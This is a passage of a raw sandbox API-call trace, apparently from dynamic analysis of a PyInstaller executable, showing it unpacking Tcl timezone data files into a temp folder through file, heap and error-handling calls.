lpFileInformation=0x4f8d4c) returned 1 [0040.301] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.301] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.301] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.301] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.301] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.301] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.302] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.302] CloseHandle (hObject=0x10c) returned 1 [0040.302] GetLastError () returned 0x0 [0040.302] SetLastError (dwErrCode=0x0) [0040.302] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.302] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.302] GetFileType (hFile=0x10c) returned 0x1 [0040.302] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.302] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.302] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.302] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.302] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.302] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.302] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.302] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.302] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.302] CloseHandle (hObject=0x10c) returned 1 [0040.302] GetLastError () returned 0x0 [0040.302] SetLastError (dwErrCode=0x0) [0040.302] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.302] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.302] GetFileType (hFile=0x10c) returned 0x1 [0040.302] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.302] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.302] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.303] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.303] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.303] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.303] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.303] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.303] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.303] CloseHandle (hObject=0x10c) returned 1 [0040.303] GetLastError () returned 0x0 [0040.303] SetLastError (dwErrCode=0x0) [0040.303] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Makassar") returned 70 [0040.303] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Makassar" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\makassar"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.303] GetLastError () returned 0x2 [0040.303] SetLastError (dwErrCode=0x2) [0040.303] GetLastError () returned 0x2 [0040.303] SetLastError (dwErrCode=0x2) [0040.303] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Makassar", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Makassar", lpFilePart=0x0) returned 0x45 [0040.303] GetLastError () returned 0x2 [0040.303] SetLastError (dwErrCode=0x2) [0040.303] GetLastError () returned 0x2 [0040.303] SetLastError (dwErrCode=0x2) [0040.303] GetLastError () returned 0x2 [0040.303] SetLastError (dwErrCode=0x2) [0040.303] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Makassar") returned 70 [0040.303] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.303] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Makassar" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\makassar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.304] GetFileType (hFile=0x10c) returned 0x1 [0040.304] htonl (hostlong=0xe9000000) returned 0xe9 [0040.304] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.304] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe9, lpOverlapped=0x0) returned 1 [0040.305] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.305] CloseHandle (hObject=0x10c) returned 1 [0040.305] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.305] htonl (hostlong=0x30000000) returned 0x30 [0040.305] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.306] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.306] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.306] GetFileType (hFile=0x10c) returned 0x1 [0040.306] htonl (hostlong=0x6005b00) returned 0x5b0006 [0040.306] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fb006, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.306] htonl (hostlong=0xd4000000) returned 0xd4 [0040.306] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd4) returned 0x550600 [0040.306] htonl (hostlong=0xd4000000) returned 0xd4 [0040.306] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.306] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.306] htonl (hostlong=0x99010000) returned 0x199 [0040.306] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x199) returned 0x5506e0 [0040.306] htonl (hostlong=0xd4000000) returned 0xd4 [0040.306] htonl (hostlong=0x99010000) returned 0x199 [0040.306] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.306] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.306] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.306] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.306] CloseHandle (hObject=0x10c) returned 1 [0040.306] GetLastError () returned 0x0 [0040.306] SetLastError (dwErrCode=0x0) [0040.306] GetLastError () returned 0x0 [0040.306] SetLastError (dwErrCode=0x0) [0040.306] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.306] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.307] GetFileType (hFile=0x10c) returned 0x1 [0040.307] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.307] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.307] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.307] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.307] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.307] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.307] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.307] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.307] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.307] CloseHandle (hObject=0x10c) returned 1 [0040.307] GetLastError () returned 0x0 [0040.307] SetLastError (dwErrCode=0x0) [0040.307] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.307] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.307] GetFileType (hFile=0x10c) returned 0x1 [0040.307] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.307] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.307] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.307] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.307] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.307] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.307] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.307] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.308] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.308] CloseHandle (hObject=0x10c) returned 1 [0040.308] GetLastError () returned 0x0 [0040.308] SetLastError (dwErrCode=0x0) [0040.308] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.308] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.308] GetFileType (hFile=0x10c) returned 0x1 [0040.308] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.308] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.308] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.308] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.308] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.308] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.308] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.308] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.308] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.308] CloseHandle (hObject=0x10c) returned 1 [0040.308] GetLastError () returned 0x0 [0040.308] SetLastError (dwErrCode=0x0) [0040.308] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Manila") returned 68 [0040.308] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Manila" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\manila"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.308] GetLastError () returned 0x2 [0040.308] SetLastError (dwErrCode=0x2) [0040.308] GetLastError () returned 0x2 [0040.309] SetLastError (dwErrCode=0x2) [0040.309] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Manila", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Manila", lpFilePart=0x0) returned 0x43 [0040.309] GetLastError () returned 0x2 [0040.309] SetLastError (dwErrCode=0x2) [0040.309] GetLastError () returned 0x2 [0040.309] SetLastError (dwErrCode=0x2) [0040.309] GetLastError () returned 0x2 [0040.309] SetLastError (dwErrCode=0x2) [0040.309] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Manila") returned 68 [0040.309] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.309] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Manila" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\manila"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.310] GetFileType (hFile=0x10c) returned 0x1 [0040.310] htonl (hostlong=0x99010000) returned 0x199 [0040.310] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.310] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x199, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x199, lpOverlapped=0x0) returned 1 [0040.311] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.311] CloseHandle (hObject=0x10c) returned 1 [0040.311] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5506e0 | out: hHeap=0x530000) returned 1 [0040.311] htonl (hostlong=0x30000000) returned 0x30 [0040.311] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.311] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.311] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.312] GetFileType (hFile=0x10c) returned 0x1 [0040.312] htonl (hostlong=0xda005b00) returned 0x5b00da [0040.312] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fb0da, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.312] htonl (hostlong=0x88000000) returned 0x88 [0040.312] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x88) returned 0x55cfe0 [0040.312] htonl (hostlong=0x88000000) returned 0x88 [0040.312] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.312] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.312] htonl (hostlong=0x8f000000) returned 0x8f [0040.312] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8f) returned 0x550600 [0040.312] htonl (hostlong=0x88000000) returned 0x88 [0040.312] htonl (hostlong=0x8f000000) returned 0x8f [0040.312] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.312] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.312] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.312] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.312] CloseHandle (hObject=0x10c) returned 1 [0040.312] GetLastError () returned 0x0 [0040.312] SetLastError (dwErrCode=0x0) [0040.312] GetLastError () returned 0x0 [0040.312] SetLastError (dwErrCode=0x0) [0040.312] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.312] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.312] GetFileType (hFile=0x10c) returned 0x1 [0040.312] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.312] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.312] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.313] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.313] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.313] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.313] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.313] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.313] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.313] CloseHandle (hObject=0x10c) returned 1 [0040.313] GetLastError () returned 0x0 [0040.313] SetLastError (dwErrCode=0x0) [0040.313] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: 